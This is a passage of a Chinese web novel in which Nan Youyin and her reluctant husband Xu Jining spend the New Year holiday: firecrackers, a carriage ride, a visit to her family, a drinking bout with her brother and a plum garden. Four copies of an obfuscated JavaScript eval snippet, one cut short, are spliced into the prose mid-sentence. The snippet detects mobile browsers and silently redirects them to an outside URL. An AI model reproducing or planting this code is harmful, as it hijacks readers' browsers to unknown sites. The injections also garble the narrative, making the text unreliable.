午后太阳不错,南有音带着小甲摔鞭炮,两人埋伏在一面墙后,时刻准备着,等着给第一个从这条路经过的人一个新年惊喜——往他脚底扔鞭炮,狠狠吓他一跳。 路上传来脚步声,南有音和小甲在墙后偷笑,两人还小声打赌,猜第一个路过的人是徐寂宁还是徐缄平,在脚步声最近时两人同时丢出了小鞭炮,并在鞭炮炸响的时候笑着跳了出来。 然后两个人都笑不出来了。 第一个路过的人不是徐缄平,也不是徐寂宁,而是徐夫人。 “太太。” “祖母。” 南有音和小甲颤颤巍巍地低着头。 徐夫人看起来气得不轻,她遣人送小甲回宋知落那里,又让南有音去她屋里坐着。 南有音战战兢兢立在婆母屋里,徐太太却让她坐在自己旁边,她又战战兢兢地坐下了,她小心翼翼看了一眼徐太太,徐太太向来不怒自威,让她猜不出自己的处境。 徐太太抿了口茶,然后发话了,跟南有音想得差不多,徐太太说她和小甲有失体统。但徐太太的语气面容比南有音想象的要友好多了,不像上次训斥松梯那样严厉,反倒好像有些于心不忍一样,这让南有音想起了自家母亲。 南有音在家时没少因为仪态举止挨训,母亲每每责怪她总是怜惜多过斥责,正如现在徐夫人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445776|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。南有音被母亲训斥时总会撒撒娇蒙混过去,正如现在她对徐夫人一样。 “妈,我知道错啦,我下次不敢了。”她软着声音撒娇道。 徐夫人一愣,或许是因为她膝下的儿女没有人敢在她面前开口撒娇,南有音几句软绵绵的腔调显得很是新奇,既不像徐寂宁一样挑战她的权威,也不像长子徐缄平一样对她尊敬有余而亲密不足。总之是怪让人受用。她再开口时语气更为缓和了,轻飘飘掀过了南有音与小甲的“有失体统”的话题,喝了几口茶,与南有音聊起了其他的家常话。 徐寂宁从侄子小甲那里得到了南有音把鞭炮丢到徐夫人脚下被徐夫人请去喝茶的消息,连忙往徐夫人的院子赶,在路上飞速转动脑筋,思考如何在大年初一阻止母亲罚南有音跪祠堂,刚刚走到母亲屋外,却听到母亲问南有音“什么时候才能为徐家添人口”,惊得他一个趔趄,惹得母亲院子里的丫鬟婆子一阵哄笑。 徐夫人见小儿子也来了,正好将夫妻两个都叫进去。徐夫人话里话外都是要小两口尽快添丁的意思,听得徐寂宁如芒在背。 徐夫人道:“有音,我看你和徐甲总在一块儿,你很喜欢小孩儿吧。” “是呀。”南有音笑眯眯道。 “你和寂宁也抓紧吧,徐家香火还指望你们两个呢。” 南有音回答:“那主要看宁哥哥的意思啦。” 她冲徐寂宁挤了挤眼睛,徐寂宁开始感到头疼了。 从徐太太房间离开,徐寂宁怕南有音提起什么要小孩的事,抢先开口:“我还以为太太会罚你跪祠堂。” “太太好像没那么不好说话,难不成你总是跪祠堂?” 徐寂宁僵硬地点了点头。 南有音扑哧一笑。 “你笑什么?” “我只是想起大哥二哥说你有贼心贼胆,但没有贼脑子,总是被太太抓住了。”南有音笑个不停,“前几天我和小甲逗翠哥儿,大哥跟我说你讨厌教你读《春秋》的夫子,于是就有意训练翠哥儿,想让它往夫子头上拉屎,结果不知怎么被太太知道了,领了好一顿罚。” 徐寂宁的脸红了。 “难道你真能训练小鸟儿拉屎?”南有音求知若渴,“可是你怎么做到的,教教我!” 徐寂宁恨恨道:“什么训练小鸟,不过是大哥二哥三姐他们三个联合起来坑我,大哥出的主意,二哥便编了篇如何训鸟定点排泄的古文,三姐又来撺掇我,我——现在我还记得抄一百遍《春秋》是什么滋味!” 南有音仍然捂着嘴笑:“大哥还说,每次你偷读野史艳词都会被太太抓住。” 徐寂宁愈发窘迫了:“你不要听大哥胡说八道!” “下次你再有什么浓词艳赋,叫上我一块看,我藏东西有一套,保准不叫别人发现。” 徐寂宁低头不搭腔继续走,南有音却不依不饶,她扯着徐寂宁的袖子,故意捏着嗓子撒起娇来:“到底行不行呀,我天天翻你书桌上那些经史子集,简直无聊死了,你要是有什么好看的,也叫上我一块看嘛。” 徐寂宁脸更红了,声音也变得像蚊蚋一样小:“你,你放开我,好好说话——” 17. 白雪 京城夜里下起了雪,次日一早,白茫茫一片。按照习俗,大年初二南有音与徐寂宁要去南家拜访,马车一大早就在徐府门口候着了。 南有音兴冲冲地钻进马车,一掀车帘,卷进一阵冷风,吹得车内的徐寂宁小小打了个寒颤。 南有音毫不犹豫地挤到了徐寂宁身边:“你很冷吗?那我挨着你好啦,我很暖和。” 南有音凑得太近了,徐寂宁都能嗅到她身上淡淡的胭脂香气了,这让他心里有些发痒,他推了她一把:“车上的空多着呢。” 南有音不依不饶:“可我偏要挨着你。” 她耍赖一般倚在徐寂宁身上,徐寂宁拘谨地不敢动弹了,但他没能拘谨太久,毕竟南有音不是一个会乖乖坐着不动的人,很快对马车的探索欲占领了她的头脑,她不再靠着徐寂宁,而是好奇的到处摸索。 她敲敲木质的车厢,又摸摸车厢座位,然后摸到了徐寂宁的小腿,出于某些古怪的理由,她顺手捏了捏徐寂宁的小腿肚子。 这让原本闭目养神的徐寂宁忍无可忍:“你到底在干什么啊!” 南有音无辜道:“我只是好奇你家马车上有没有暗格之类的东西,话本子里就经常这样写,会把一些机密或者武器藏在马车暗格里。” 徐寂宁无语道:“话本里的故事怎么能当真。” “可是你爹足够位高权重了吧,你们徐家的马车当真没有什么暗格?”南有音眯着眼审视徐寂宁,“说不定是因为这种事关系老爷的性命安全,所以不能随便告诉我吧!” 徐寂宁忍不住乐了:“哪有这种事儿,话本子里关于官府权贵的故事大多是杜撰,夸张到荒唐。” 南有音表示否认:“话本里才没有夸张呢!我来京城之后知道的最夸张的事是太太那件毛绒绒大氅竟然值八百两银子,一开始松梯告诉我我还不相信,一件衣裳,我爹不吃不喝攒五年的俸禄也买不起。” 话音刚落,南有音捕捉到了徐寂宁脸上细微的表情波动,他微微瞪大了一下眼睛。 “喂!你什么意思!”南有音惊恐道,“你不会觉得我爹五年俸禄买不起太太一件衣服很夸张吧?” 徐寂宁皱眉微微点头:“你家,不至于那么穷吧……” “我家不穷!”南有音颇感气愤,“我说过了我家不愁吃喝,我家若是算穷,那天下那么多百姓还怎么活?” “咳!”徐寂宁不想被南有音愤怒地眼神注视着,他迅速把话题重新拉回话本子。 “写话本的人不知道什么才是挥金如土,只知道写饮食顿顿细粮精肉,可杜撰不出五百两一件的衣服,”南有音并没有因为徐寂宁转移话题就此放过他,“更何况,我来了徐府才发现,话本还是说得太含蓄了——” “——你们何止顿顿细粮精肉,简直难伺候得很,饭菜有一百八十种讲究,舌头也不知道为什么那么娇贵,我要是写话本子写什么纨绔子弟,”南有音眼睛转了一圈,最终停留在徐寂宁身上,“我就从你身上取材。” 南有音与徐寂宁的马车后面还跟着两辆马车,一辆由松梯和几个小厮看着,装着徐夫人和徐老爷送给亲家的新年礼物,一辆则是徐寂宁要求的,载着徐府的厨子和食材。 徐寂宁知道南有音那两句是看不惯他的作风故意说的,他觉得简直难以同南有音沟通,南有音嫌他的舌头娇贵,他还觉得南有音的舌头迟钝的像块石头,怎么什么好坏也尝不出来,日日只知道填饱肚子,全然不懂其中滋味。 徐寂宁没吭声回复,南有音感到自己刚才是白义愤填膺了一通了,她没意思的拉开帘子,去看路上的风景。路边是积雪,路边树上是积雪,路边的房屋上也是积雪,四周皆是白茫茫一片,唯一的调剂品是屋檐下一排排亮晶晶的冰溜子。 南有音漫无目地欣赏着单调的雪景,早晨的太阳光照射在皑皑白雪上折射出迷人的光泽,她盯着看了好久,被晃得头晕眼涨。 然后难受地捂着眼睛缩起脑袋。 她听到身旁徐寂宁的声音:“你怎么啦?” “看雪看多了,头晕。”南有音声音又小又虚弱,“我想在你身上靠一会儿,可以吗?” 徐寂宁有些迟疑,但还是答应了,然后在一瞬间感觉身体又僵硬了起来,胳膊腿都不知道该怎么摆放了。 南有音没有注意徐寂宁心里的小小变化,捂着眼睛斜斜地将脑袋靠在徐寂宁的肩上,顿时觉得脑袋有了支撑脖子轻松了许多,轻声说道:“多谢。” “呃……不必客气。” 南有音问道:“你为什么迟疑了一下?” 南有音的声音很好听,现在这个好听的声音离耳畔格外的近,徐寂宁几乎能听清其中喉音中微弱的沙哑。 或许是离得实在近,再开口时声音不自觉地轻了很多,徐寂宁答道:“我只是奇怪你怎么忽然这么客气……” 南有音语调非常的慵懒,这种慵懒盖过了她的虚弱,昭示着目前她歪在徐寂宁身上显然是非常的舒适:“可能我一难受了就会变得礼貌又客气……” 她倚着徐寂宁,在两人都不说话的寂静中,她会听到徐寂宁的心跳声,一下两下三下,一声两声三声,像是一直狂奔的兔子,这让南有音没忍住笑了。 徐寂宁听到身畔有些低闷的笑声,周围没别的,他断定她肯定是在笑他,但仍硬着头皮问道:“你在笑什么?” “我在笑你心跳的也太快了,”南有音闷闷笑道,“是不是因为与我贴的太近不好意思啦,我和你是夫妻,按理说我们什么都可以做,只是你总是拒绝我而已……” “不是!”徐寂宁一阵窘迫,他为自己的心如擂鼓随便找了个由头,“我只是在想你说的马车上的暗格。” 南有音果然重新被这个话题吸引了:“所以徐老爷的马车上究竟有没有暗格?” “应该没有吧……” “真的吗?”南有音仍然固持己见,“话本子里的皇亲国戚达官显贵的马车上都有暗格,以备不时之需,这样好的办法话本里都能想到,现实中怎么可能没有呢,更何况你有没有坐老爷的马车时仔细检查一番?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445777|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐寂宁被南有音动摇了,他确实很多年没和徐老爷坐一辆马车了:“好像有些道理,下次有机会我找找有没有暗格。” 徐寂宁决定回府后与大哥二哥提一嘴这件事,或许他们可以抽个月黑风高夜偷偷查看一番——但愿不会被太太抓住。 在他这么打算时他听到南有音又笑了,低低的笑声围绕在他耳边,让他无缘无故想到了春天发芽的杨柳。 “你又笑什么?”他问。 “话本子!”南有音将这三个字咬的很是俏皮,“宁哥哥,如此看来,你也看过不少话本子呢。” 徐寂宁看过很多话本,跟三姐徐静祺一块。 “下次你再看话本记得叫上我呀,我可喜欢那些小玩意了!”南有音的语调既像是祈求又像是撒娇,她甚至还用脑袋拱了拱徐寂宁的肩膀。 声音传进徐寂宁的耳朵,打着圈儿回转,又磨得他浑身痒痒的。 南有音又喋声催促他回答:“所以到底好不好呀,好不好呀?” 徐寂宁垂下眼帘,轻声道:“过去我和三姐都私藏着好多话本子,现在只是不知道放在哪儿了,你要想看,可以找找试试。” 南有音悄悄问:“你和三姐姐之间的东西,我真的可以动吗?” 她不是不知道徐寂宁和三姐之间的关联最深。 徐寂宁在一阵惆怅中沉默了片刻,苦笑道:“只是几箱话本而已……三姐在世时很宝贝那些话本,想必也不想看到她精心收来的宝贝蒙尘吧。” 南有音很轻柔地说道:“我一直记得三姐姐,她和我第一次见面时说了好多话,我一直记得她。” 徐寂宁有些惊讶:“她——你跟她见过?” 南有音不无怀念地说:“那一天你也在呀。” 徐寂宁没有回想起过去他和三姐与南有音什么时候见过面。 南有音继续说道:“就是因为那次见面,我才会喜欢你,想嫁给你呀。” 又是一次突如其来的表白,徐寂宁心中一空,他离南有音太近了,近到南有音的声音撞在他身上会产生回声,恍惚间他好像反复听到“喜欢你”这三个字,他嗓子发干,什么也说不出来了,四下忽然静得只能听到马蹄踏雪与车轮压在雪面,以及他心跳的声音。 他竭力平复疯狂的心跳,他可不愿再被南有音打趣,而这时南有音突然说了句毫无来由的话:“我希望我将来会有一辆藏着暗格机关的马车。” “为什么?”在徐寂宁看来南有音的这个想法和她想学会骑马有异曲同工之处,都有些,莫名奇妙。 “我会带着这辆马车周游四方。”南有音又笑出声了,这次是因为她在畅想着无比美好的未来,因为太过美好,导致她提前笑出了声。 徐寂宁又一次问:“你又在笑什么?” 南有音感觉头终于不晕晕的了,她直起身子,面对着徐寂宁,眼睛亮晶晶的,脸上带着天真又得意地笑容:“因为我在想我只告诉你一个人我马车的暗格在哪里,我会把我周游四方收到的珍宝放在里面,等着你发现。” 18. 京郊 南有音与徐寂宁这次回到南家的情景与上次极为相似,南老爷带着妻儿在门口候着,不同的是徐寂宁吸取了上次的教训,他远远看到了门口挺拔而立的南玉振,当即拦住想要冲下马车的南有音,他先下车,然后伸手,施施然搀扶南有音下车,尽管这在两人看来完全多此一举——南有音自认为跳下马车是轻而易举,完全不需要别人搀扶,徐寂宁对此毫不怀疑,甚至怀疑她完全有从疾速行驶中的马车跳下来的能力。 拜见南氏夫妇时,徐寂宁还是感受到了从南老爷身侧射来的,极度不友好的目光——南玉振一脸拽样瞅着他,那双桀骜的眼睛跟他姐姐南有音一样,有着惊人的亮光。 徐寂宁不是很情愿地跟南玉振打了声招呼。 “这次倒是学会惺惺作态了,”南玉振抱着胳膊,冷哼一声,“可惜装的不像,下次给我姐姐献殷勤之前最好好好排练一下。” 同上次一样,南玉振的一席话又让众人陷入了尴尬的境地。 南夫人两道柳眉不自觉地拧起来了,南有音很清楚母亲脸上这种神情是何意思,若是徐寂宁等客人不在,南玉振必然要挨一顿收拾。 南老爷不着痕迹地扯了扯夫人的袖口,似乎怕她当场发作,但他也没好到哪里去,刚刚南玉振开口时他正对着女婿谄媚地笑,南玉振的话让氛围一僵,他顺势尴尬地哂笑两声,但又觉得不妥,脸上的笑僵了,额角跟着冒出一层细汗。 “玉振,”南有音从容走到这个比自己高一大截的弟弟面前,狠狠锤了他肚子一下,“怎么为难人你倒是学的很会。” 南玉振捂着肚子吸气,还想分辨两句。 南有音压低声音对他说:“你好歹可怜可怜咱爹,你说两句话倒是不怎么,他老人家脸都绿了。” 南玉振侧头看了一眼,小声正色道:“爹保持那个表情脸应该很酸。” 一瞬间南有音脸上恼火地神情明显起伏了一下,南玉振确信姐姐要笑出声了,但南有音忍住了,她把嘴抿成了一条线,又捣了他一拳,在他捂着肚子吸气时,南有音声音响亮,对他说:“对你姐夫客气点儿。” 南玉振听到南有音的声音有些颤抖,他确信姐姐不是在生气,而是在努力憋住笑。 尽管南玉振搞得大家很尴尬,但最终徐寂宁和南老爷还是假装无事发生,若无其事的去正厅喝茶,这次没再喝南家的茶,徐寂宁带了很多徐府的茶,南有音尝出是普洱,当然她尝不出好坏,她和她爹南晨颂都理所当然的认为从金碧辉煌的徐府出来的茶叶自然是上好的,只有南振玉事后恶狠狠地评论说一股子虫屎味。 南老爷与女婿徐寂宁闲谈,两人能有什么话题,无非又是京城内外那些官僚的是是非非,南有音对这个没兴趣,偷偷溜了,南玉振也想溜了,但被南老爷扣下,南有音冲弟弟做了一个假惺惺的同情表情后,快乐的溜走去院子里,她的侍女松梯和她的母亲正在院子里清点徐府送来的礼物。 南夫人抓着松梯旁敲侧击,想弄清楚南有音在徐府的状况,松梯虽然笑着应答,但答得十分为难,她一方面觉得自己应该向着少奶奶,但一方面又觉得自己理应维护徐府。 在徐夫人担忧地问起女儿南有音与女婿徐寂宁两人合不合得来时,松梯支支吾吾实在不知该说什么,而在此时南有音忽然冒了出来,拉走了南夫人,让松梯小小松了口气。 “妈,这种事直接应该直接问我,你别打扰松梯啦,她要清点礼物,这可是费脑子的活。”南有音拉着母亲到她的东厢房说话,她弯腰捣鼓了几下火炉,屋里马上暖和起来。 南夫人摸了摸女儿的脸和腰,说道:“好像是胖了点儿,看来在徐家没受委屈。” “我能受什么委屈,你放心好了,徐太太才不像传闻里那么可怕,”南有音想起徐夫人生气时的威严模样,小小心虚了一下,“反正她待我很好,院子里的人不听我的话,她会给我撑腰。” 南夫人把女儿拉近了点,压低声音问道:“我看后面还有一马车拉着食材和厨子,徐太太这是什么意思,莫不是嫌弃咱们小门小户不会招待人?” 南有音脑袋空了一下,完全没跟上母亲的思路,她诧异道:“妈,你也想的太多了,那一车不是徐太太的意思,只是宁哥哥吃不惯咱家的饭菜而已……他带来厨子,正好你不用再操心安排了,偶尔享受一点京城贵族主母的感觉嘛。” 南夫人似乎小小松了口气,仍有些忧虑:“口味不和只是小事,你跟寂宁其他合得来吗?” “当然很好啊,怎么会不好呢?”南有音笑眯眯道,“妈你就不要担心了,我都说了多少次啦,我是喜欢他才答应跟徐府订亲的,不是因为爹和玉振,更不是因为其他的。” 南夫人仍不放心:“我只是担心你跟他好多年不见了,他或许早就变了。” “怎么会!他现在跟那时完全是一个模子,我一眼就能认出来。” 南夫人揽着女儿肩膀,轻声说:“可是阿音,人又不只是容貌会变。” “我当然知道呀,不要再担心我啦。” 南夫人摇摇头,叹道:“你这种单纯性子,走到哪我都不放心。” 南有音依偎在母亲的怀里,感受着母亲特有的独特温存,这种温柔让她迷迷糊糊的,她说:“妈,我要是能一直在你身边就好了。” “这怎么可能呀,”南夫人摩挲着女儿的头发,温和道,“不过你和寂宁相处得可以就行,趁现在你们两个刚结婚,抓紧生个孩子,这样以后就算我和你爹还有玉振都不在身边,你也能有个依靠。” 南有音大吃一惊,一时有些晃神,她觉得自己还是母亲怀抱里的孩子呢,怎么母亲却先催她生孩子了。 南夫人继续说道:“阿音,你和寂宁关于孩子打算的怎么样了?唉,估计也不用你两个想,徐夫人那边肯定急着催你。” 南夫人絮絮叨叨说了好多,总归是南有音还是得有个孩子傍身才行,从第一个孩子是男孩还是女孩好,一直说到为还不存在的孩子规划满月礼周岁宴仍没停下。 南有音目瞪口呆,张了张嘴,发出了细微如猫叫的声音,打断母亲对八字还没一撇的事儿的肆意畅想:“妈,宁哥哥还没碰过我……” 屋里骤然安静了一会儿,接着南夫人难以置信道:“阿音,我是不是听错了?” “最初他不愿跟我同床,后来被徐太太教育了,但虽然跟我同床,却从来没有跟我干当初你说的那种夫妻之间会做的事。”南有音皱眉思索道,“妈,你说这是为什么?” 南夫人也拧起眉毛了,南有音和南夫人长得一点也不像,但拧眉毛的神态一模一样。 “不应该呀,我家的阿音谁见了能不爱呢?”南夫人沉默半晌,推测道,“寂宁他,该不会……也不喜欢女人吧?” 南有音扑哧一声笑了,母亲的推测太过戏剧性,超乎她的想象,她脑海中瞬间闪过了一些含有断袖情节的话本子。 “你怎么还能笑出来?”南夫人急了,“你在徐府没看出什么不对劲儿吗,我听人说,徐家的大儿子——” 南夫人话还没说完,窗外就传来南玉振的大嗓门:“妈,姐姐,爹叫我喊你们去吃饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445778|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“徐家大儿子?你说大哥他怎么了?”南有音快速追问母亲还没说完的话。 南夫人却不说了,起身往外走,任凭南有音再怎么问也只说:“你不要多想了,你只需记得在徐府谨言慎行,切记祸从口出……” 南有音自动忽略了母亲的说教:“妈你说话说一半真吊人胃口。” 门口的南玉振听到了,好奇问:“妈说什么了?” 南有音信口道:“我问妈更喜欢我还是更喜欢你,妈刚要说,你就过来喊,害得妈没把答案说出口。” 南玉振信了,向南夫人发问:“妈,我和姐姐你更喜欢哪个?” 南夫人反问道:“你都这么大的人了,还跟三岁小孩一样问我这个?” 路过酒窖,南夫人说要找几瓶好酒,让姐弟两个先走了。 南玉振忽然问道:“徐寂宁酒量怎么样?” 南有音说:“他自己说酒量不错。” “哼,京城的白脸公子哥儿能有什么酒量。” “这两者之间没什么联系吧,”南有音指出,“京城子弟难道就不能擅长饮酒了?” “你还替徐寂宁说话呢,”南玉振酸溜溜地嘲讽道,“刚刚他扶你出马车,一看就是故意演给大家看得。” 南有音觉得无所谓:“我觉得没什么,我本来就不需要人扶我。” 南玉振恼怒道:“徐寂宁不伺候好你,要他又有何用。” “要他用来专门惹你生气的话功效确实不错,”南有音奇怪道,“说实话我还从没见过你对谁意见这么大过呢,他怎么你了?” 南玉振生硬回道:“他没怎么我。” “那可真是莫名其妙了,”南有音说道,“你知道吗,之前我和松梯说了好多你的事,我一直说见了你就会知道你是很好的人,今天你在门口又来这么一出,我都不知道以后我当着她的面夸你她还能不能信了。” “松梯是谁?她怎么想关我什么事?” “你看到前方十米处有个陌生姑娘了吗,她就是松梯,是我新交的好朋友。” 前方站着一个穿着水绿色衣服的姑娘,梳着少女小髻,温温柔柔地笑着。 “少奶奶。”她向南有音打了声招呼。 “松梯,这是我弟弟玉振。” “玉振少爷。”松梯微笑着浅浅行了一个礼。 南玉振好奇地看向姐姐的朋友松梯,松梯也对他报以温和的微笑,他发现她的一双眼睛像是有雾气弥漫一般湿润,干净又透彻,酷似丛林里偶然出现的小鹿。 于是他对着“小鹿”笑了一下,平和说道:“我不是什么少爷,叫我玉振就好。” 他跟着姐姐继续往正厅的方向走,小鹿则路过森林,不轻不重,柔软地擦肩而过。 短暂告别松梯后,南有音忽然冒出一个想法,想要存心逗一下弟弟:“其实刚才妈说她更喜欢我。” 她做好了准备迎接弟弟的恼怒或者讥讽,但他没有,他只是说:“这样最好。” “啊?”南有音纳闷自家弟弟什么时候转了性,却见弟弟欲言又止,好像一番纠结一番挣扎,最后又快又急地说道:“你在家的时间太短了,只有足够偏爱,才能被你察觉到。” 南有音眨眨眼,然后轻轻砸了弟弟的后背一下:“我当然知道我是被偏爱的,尤其被你偏爱。” “原来你知道呀,我还以为不说你就不知道呢。”南玉振哼了一声,又带上那种他特有的讥讽味道,瞬间又变回了南有音所熟悉的弟弟,“你要是知道的话怎么不常回家来?徐寂宁家还能有多好?” 19. 酒席 在饭桌上,南有音终于明白弟弟向她打听徐寂宁酒量的意思了——南玉振想要灌醉徐寂宁。 这场酒席最开始一切都还好,大家围着一桌子热菜,喝着温好的酒,几杯酒下肚后,大家身子都暖暖的,脸也都红红的,鼻尖也渗出几滴细汗。屋外是将化未化的白雪伴着刺骨的寒风,屋内是一片其乐融融,炉火烧的很旺,热气从指尖一直蔓延到心间。 但渐渐的,形势开始不对起来,南玉振举着酒杯不着痕迹地向徐寂宁发难,而徐寂宁接招的办法就是从善如流,接下南玉振满上的一杯又一杯酒。 南有音有些看不下去了,她发声说大家都少喝点吧,然而只有南老爷顺从地放下了酒杯。 南玉振晃了晃手里的酒水,不满道:“这酒平时都舍不得拿出来——” “只招待贵客,”南玉振举杯冲徐寂宁点点头,“自然要喝个尽兴。” 很难说南玉振的语气里没有挑衅的成分,南有音只指望徐寂宁别与弟弟计较,但徐寂宁轻轻碰了南玉振的酒杯,朗声说道:“如此美酒,豪饮放宜。” 南有音在桌下扯了扯忙着跟南玉振推杯换盏的徐寂宁,小声道:“喂,你别真跟玉振喝上了,你要喝醉了半路上吐了很恶心的!” 徐寂宁想起上一次与南有音来南家的经历,脸颊泛起淡淡的红晕,不知是因为酒上脸了还是因为其他,他有些尴尬道:“上次是因为轿子晃得我头晕……” 南有音不置可否:“谁知道跟那几杯酒有没有关系。” “放心吧,”徐寂宁宽慰道,“我没那么容易被灌醉。” 南玉振似乎听到了徐寂宁这句话,他发起了更猛烈的攻势,徐寂宁照单全收。 这一场饭局最终的结果是南振玉灌醉了自己爹,把自己也喝的迷迷糊糊,唯独没能达成撂倒徐寂宁的目标。徐寂宁仍然清醒,甚至在南老爷醉了之后反客为主,主持结束了这一场酒局,安排南老爷与南玉振休息,吩咐厨子们煮些醒酒汤。 南玉振数了数地上的空酒坛子,可惜他晕晕乎乎的,数了好几遍也没数清究竟几个,但这丝毫不影响他体会“偷鸡不成蚀把米”的滋味,他看着脚步平稳毫无醉态的徐寂宁被姐姐拉着走了,愈发的可惜白搭上这么多好酒。 他晃晃悠悠地往自己的西厢房去,半路上醉眼朦胧,竟看到大冬天的院子里有一颗绿油油的树在行走,他下意识过去查看,那颗绿油油的树开口说话了:“玉振少爷?” 南玉振发现原来那不是树,而是穿着水绿色衣服的松梯。 “不用叫我少爷,”南玉振对“少爷”这个称呼很是不满,“我和徐寂宁什么的不一样。” 他揉了揉眼睛,总感觉眼前这道水绿色的身影闪来闪去:“你不要围着我转圈啦,我头都晕了。” “我没有围着你转圈,”松梯捂着嘴偷笑道,“是你喝醉了。” 南玉振迟钝的脑子迟钝地反应过来,他原本是要去自己屋里歇会儿醒醒酒的,不知怎么就跑这儿来了,他转身欲走,却忽然想起松梯还在寒风里站着,开口说道:“大冷天的,你别在院子里冻着了,跟我回屋里暖和暖和,我很会烧火炉,我姐姐也擅长烧火炉,不过我爹说我烧的炉火更旺。” 松梯瞪大了她那双雾气弥漫般湿润的眼睛。 南玉振困惑地眨巴眨巴眼,忽然反应过来,松梯又不是他姐,他怎么能唐突地请一个刚认识的姑娘去自己屋里,他匆忙道:“啊,我唐突了,我姐姐说姑娘们都讨厌喝醉了的人,我的意思是屋外冷,你不是我姐姐,所以我不是非要请你去我的屋子里,不对,我的意思是希望你去我房间暖和……” “不对不对不对——”南玉振语无伦次,而舌头像是一根铁棒,脑子好像一团浆糊,都不听他的使唤。 “我明白你的意思了,”松梯善解人意地微笑,“你快去休息吧,少奶奶安排我去她的屋子,不用担心我会被天气冻到。” 南玉振不是很确定:“你明白我的意思?” “我知道你不是故意唐突,”松梯温和道,“你姐姐跟我说起过你的,她是极好的人,她的弟弟必然也是。” 南玉振反应了一会儿,脑子木木的什么也理不清,只好道:“我姐姐说她讨厌喝醉了的人,你是她的朋友,应该跟她一样,等过会儿我脑子清楚了再过来向你赔罪。” 松梯纠正道:“我只是你姐姐在徐府的侍女而已。” 徐寂宁迷迷瞪瞪应了一声“知道了”,转身往自己的西厢房去,一面走一面意识到一个问题,姐姐让松梯姑娘去东厢房里,那她和徐寂宁去哪了? 南有音在再三确认徐寂宁真的没有醉不需要休息后,拉着徐寂宁从后门走了。 南家坐落的这块京郊地区住着的大多是跟南老爷差不多等级的小小官员或者不太富裕小商人的落脚点,很少有人在这久住,小官员有的升官进了京城内圈居住,有的当官几年换了大房子,搬离此处,商人更不用说,一年到头不着家,一旦发达也会另择住处,故而这一片的房子经常空着,只有南老爷十年如一日,常驻这块贫瘠又荒凉的地区。 南有音带着徐寂宁在这一片的街道上穿梭。 “你要带我去哪里?”徐寂宁感觉腿肚子涨涨的,脚底也发酸,他跟着南有音走了很远的路。 南有音兴冲冲地指着前方:“你看前面!” “呃……一堵墙?”徐寂宁往前看,只看到了一道结实的围墙。 “你再闭上眼闻闻。” 徐寂宁深吸一口气,凛冽寒风中夹杂着幽幽的香气:“梅花?” “答对啦!”南有音说道,“前面围墙里面全是梅花。” 徐寂宁精神一振,继续拖着腿脚跟着南有音走,但南有音在那堵围墙前停下了。 “我们从哪儿进去?”徐寂宁问道,围墙外已经能嗅到梅花的浓香。 南有音脸上浮现出了惊讶地神情,仿佛徐寂宁问了一个三岁小孩都能答上来的问题一样。 “这还用问?”南有音用力一跳,然后抓住围墙上缘,干净利落的抬腿蹬墙,徐寂宁还没反应过来,她已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐寂宁不知道自己现在到底变成什么鬼模样了,他在徐夫人的教导下早在不自觉中将衣着得体从容融进骨子里,何时曾如今日一般,新奇之余更多还是手足无措的窘迫,南有音光冲着他笑,搞得他很不好意思,手忙脚乱的整理衣冠。 南有音对他说:“其实你不用整理,反正你这衣冠不整的模样现在就我一个人会看见,你这个样子怪少见的,让我多看会儿。” 徐寂宁感觉更窘迫了,他别过脸去不看南有音了。 “好啦!”南有音拉起自己袖子帮徐寂宁擦脸,“就只有我看见,不用那么讲究体面吧。先说了,我不会弄头发,你得自己看着办,衣服我让松梯又准备了一套,回去换上就行。” 南有音的力度不小,徐寂宁感到鼻子快要被她的手劲儿压塌了,他出声抗议,南有音袖子闷在他鼻子上,使得他声音意外的瓮声瓮气的。南有音顿时笑得花枝乱颤,手指无意中轻轻蹭过了他的脸颊,这轻微的触感使得一阵颤抖从尾椎一直流到他的头顶。 南有音笑得厉害,在墙头东倒西歪,徐寂宁心惊肉跳,用胳膊拦着南有音,生怕她笑着笑着掉下去了,南有音顺势扑到他怀里笑去了。 徐寂宁僵住了,他实在怕南有音掉下去,只好不自在地轻轻揽住她,他感到怀里人的笑慢慢停下,他缓缓松开揽着她的胳膊,她却又用柔软的臂膀环住了他。 她在他耳边吹气,小声说道:“宁哥哥,你抬头看看墙那边。” 徐寂宁抬头,然后于疾风扑面时见到了午后的满园红梅,风吹,花动,仿佛在热烈的燃烧。 20. 红梅 南有音带领徐寂宁从墙上翻下不像教他如何爬墙那样困难,这让她小小松了口气,然而在徐寂宁平稳落地后,产生了一个她意想不到的难题——徐寂宁不愿继续往前走了。 